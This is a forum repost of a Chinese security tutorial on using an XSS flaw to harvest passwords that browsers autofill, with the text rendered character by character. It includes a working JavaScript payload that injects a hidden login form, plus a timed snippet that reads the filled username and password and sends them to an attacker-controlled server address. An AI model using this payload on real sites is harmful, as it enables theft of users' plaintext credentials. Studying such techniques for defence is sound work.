搜索

[19625] 2020-07-02_干货分享丨XSS利用进阶

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-07-02_干货分享丨XSS利用进阶 干 货 分 享 丨 X S S 利 用 进 阶 i 春 秋   2 0 2 0 - 0 7 - 0 2 浏 览 器 存 在 这 样 一 个 功 能 ， 即 当 用 户 登 录 成 功 了 一 个 网 页 后 ， 浏 览 器 会 提 示 我 们 是 否 保 存 密 码 ， 如 果 我 们 点 击 同 意 ， 那 么 浏 览 器 就 会 将 账 户 及 密 码 进 行 保 存 。 当 我 们 退 出 账 户 再 次 访 问 登 录 页 面 的 时 候 ， 会 发 现 浏 览 器 已 经 将 我 们 保 存 好 了 的 账 户 及 密 码 填 写 到 了 对 应 的 输 入 框 内 。 如 图 所 示 ： 那 么 浏 览 器 是 如 何 识 别 到 这 个 网 页 并 自 动 填 充 好 密 码 的 呢 ？ 首 先 ， 浏 览 器 需 要 知 道 我 们 访 问 的 这 个 域 名 是 否 有 保 存 过 账 户 及 密 码 ； 然 后 它 会 去 查 询 网 页 中 是 否 有 当 初 我 们 保 存 账 户 及 密 码 时 的 标 签 I D 是 否 相 同 ； 如 果 都 满 足 ， 那 么 浏 览 器 就 会 在 我 们 访 问 的 时 候 ， 自 动 的 将 账 户 及 密 码 填 充 进 去 。
到 这 里 ， 思 路 就 清 晰 了 ， 既 然 浏 览 器 是 通 过 域 名 加 标 签 I D 进 行 填 充 ， 那 么 如 果 我 们 能 控 制 该 域 名 下 的 标 签 I D ， 就 有 机 会 欺 骗 浏 览 器 在 我 们 控 制 的 标 签 中 填 充 进 去 账 户 及 密 码 ， 所 以 我 们 只 需 要 有 一 个 X S S 及 可 完 成 测 试 。 本 文 是 i 春 秋 论 坛 作 家 「 挖 低 危 的 清 风 」 表 哥 原 创 的 一 篇 技 术 文 章 ， 关 于 利 用 X S S 获 取 用 户 明 文 账 户 密 码 内 容 的 相 关 介 绍 。 注 ： 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 重 点 来 了 重 点 来 了 我 们 假 设 一 个 场 景 ， 在 内 网 中 有 一 个 系 统 是 使 用 域 账 户 进 行 登 录 的 ， 且 该 系 统 存 在 X S S ， 我 们 该 如 何 获 取 到 账 户 和 密 码 ？ 测 试 成 功 的 两 个 条 件 中 已 经 满 足 了 一 个 ， 就 是 都 在 相 同 的 d o m a i n 下 ， 下 一 步 需 要 通 过 X S S 创 建 一 个 f o r m 标 签 和 两 个 i n p u t 标 签 ， 并 将 I D 设 置 为 与 登 录 框 相 同 的 I D 。 这 两 步 完 成 后 ， 就 有 几 率 获 取 到 保 存 的 明 文 账 户 及 密 码 。 现 在 来 构 建 一 下 p a y l o a d ：
通 过 这 种 方 式 我 们 就 创 建 了 一 个 隐 藏 的 f o r m 框 。 < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " > d o c u m e n t . w r i t e ( " < d i v > < / d i v > " ) v a r   f o r m _ 1   =   d o c u m e n t . c r e a t e E l e m e n t ( " f o r m " ) ; f o r m _ 1 . i d   =   ' f _ i d ' ; d o c u m e n t . g e t E l e m e n t s B y T a g N a m e ( ' d i v ' ) [ 0 ] . a p p e n d C h i l d ( f o r m _ 1 ) ; d o c u m e n t . g e t E l e m e n t B y I d ( ' f _ i d ' ) . s t y l e . d i s p l a y = ' n o n e ' ; v a r   n a m e _ 1   =   d o c u m e n t . c r e a t e E l e m e n t ( " i n p u t " ) ; v a r   p a s s _ 1   =   d o c u m e n t . c r e a t e E l e m e n t ( " i n p u t " ) ; n a m e _ 1 . t y p e   =   " t e x t " ; n a m e _ 1 . n a m e   =   " u s e r n a m e " ; n a m e _ 1 . i d   =   " u s e r n a m e " p a s s _ 1 . t y p e   =   " p a s s w o r d " ; p a s s _ 1 . n a m e   =   " p a s s w o r d " ; p a s s _ 1 . i d   =   " p a s s w o r d " ; f o r m _ 1 . a p p e n d C h i l d ( n a m e _ 1 ) ; f o r m _ 1 . a p p e n d C h i l d ( p a s s _ 1 ) ; < / s c r i p t >
这 时 我 们 通 过 X S S 执 行 试 一 下 效 果 。 P S ： 具 体 实 现 ， 需 要 根 据 目 标 网 页 对 代 码 进 行 微 调 ， 因 为 目 标 站 点 不 允 许 跨 域 J S ， 所 以 我 们 通 过 e v a l , a t o b 进 行 X S S 测 试 。 首 先 进 行 b a s e 6 4 编 码 ：
然 后 构 造 相 应 的 X S S 代 码 ， 就 能 看 到 成 功 插 入 的 f o r m 框 。 我 们 直 接 在 c o n s o l e 查 看 是 否 填 充 了 账 户 和 密 码 ， 成 功 获 取 到 账 户 和 密 码 。 这 个 时 候 ， 我 们 就 只 需 要 添 加 J S 代 码 让 它 去 自 动 获 取 账 户 和 密 码 ， 然 后 发 送 到 我 们 的 服 务 器 就 可 以 了 。 使 用 s e t T i m e o u t 是 为 了 让 浏 览 器 填 充 完 毕 才 发 送 账 户 和 密 码 。 （ C h r o m e 似 乎 已 经 无 法 通 过 这 种 方 式 获 取 ， F i r e f o x 目 前 仍 然 可 以 。 ）
账 户 密 码 已 成 功 接 收 。 （ 这 个 是 之 前 的 一 次 内 部 测 试 中 利 用 到 的 攻 击 手 法 ， 当 时 几 乎 所 有 浏 览 器 都 受 影 响 ， 现 目 前 只 测 试 了 C h r o m e 和 F i r e f o x ， C h r o m e 已 不 受 影 响 。 ） 以 上 是 今 天 要 分 享 的 内 容 ， 大 家 看 懂 了 吗 ？ 喜 欢 本 文 的 小 伙 伴 ， 记 得 文 末 点 个 赞 哦 ~ 文 章 素 材 来 源 于 i 春 秋 社 区 因 为 公 众 号 平 台 改 变 了 推 送 规 则 ， 文 章 的 更 新 不 再 按 照 推 送 时 间 排 序 ， 如 果 想 及 时 查 看 安 全 技 能 相 关 文 章 ， 请 这 样 操 作 ： 1 、 在 每 一 次 阅 读 后 点 在 每 一 次 阅 读 后 点 “ 在 看 在 看 ” ； ； 2 、 设 为 星 标 设 为 星 标 ，   点 击 公 众 号 名 称 “ i 春 秋 ” ， 再 点 右 上 角 的 “ . . . ” ， 点 “ 设 为 星 标 ” s e t T i m e o u t ( f u n c t i o n   ( )   { u s e r n a m e   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' l o g i n _ u s e r n a m e ' ) . v a l u e ; p a s s w o r d   =   d o c u m e n t . g e t E l e m e n t B y I d ( ' l o g i n _ p a s s w o r d ' ) . v a l u e ; i f   ( u s e r n a m e . l e n g t h   >   0 )   {     v a r   n e w i m g   =   n e w   I m a g e ( ) ;     n e w i m g . s r c   =   ' h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 1 / ? u s e r n a m e = '   +   u s e r n a m e   +   ' & p a s s w o r d = '   +   p a s s w o r d ; } } ,   2 0 0 0 ) ;
  新 来 的 朋 友 如 果 想 要 了 解 其 他 的 必 备 技 能 和 实 用 工 具 ， 可 以 点 击 菜 单 栏 中 的 入 门 锦 囊 查 看 相 关 内 容 ： 猜 猜 你 你 喜 喜 欢 欢 i 春 秋 官 方 抖 音 账 号 重 磅 上 线 啦 每 周 更 新 1 期 安 全 意 识 动 漫 连 载 ， 小 i 为 你 解 锁 安 全 新 技 能 打 开 抖 音 A P P ， 扫 描 下 方 二 维 码 或 者 直 接 搜 索 “ i 春 秋 春 秋 ” ， 关 注 起 来 吧 ！ 文 末 下 方 点 个 赞 赞 和 在 看 在 看 哦
i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理